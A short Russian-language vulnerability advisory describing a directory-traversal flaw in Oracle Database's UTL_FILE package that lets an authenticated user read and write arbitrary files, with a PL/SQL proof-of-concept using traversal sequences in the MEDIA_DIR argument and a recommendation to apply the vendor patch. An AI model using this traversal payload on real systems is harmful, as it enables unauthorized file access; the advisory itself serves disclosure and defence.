Раскрытие информации в Oracle Database Server

Описание:
Уязвимость позволяет удаленному авторизованному пользователю получить доступ к произвольным файлам на системе.

Уязвимость существует в пакете UTL_FILE из-за некорректной обработки входных данных в некоторых функциях. Удаленный авторизованный пользователь может изменить значение некоторых объектов функции MEDIA_DIR на символы обхода каталога и получить доступ на чтение и запись к произвольным файлам на системе. Пример:

declare
f utl_file.file_type;
begin
f:=UTL_FILE.FOPEN
('MEDIA_DIR','\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\Unbreakable.txt','w',1000);
UTL_FILE.PUT_LINE (f,'Sure',TRUE);
UTL_FILE.FCLOSE(f);
end;

Пример/Эксплоит: См. источник сообщения.

URL производителя: http://www.oracle.com

Решение: Установите исправление от производителя.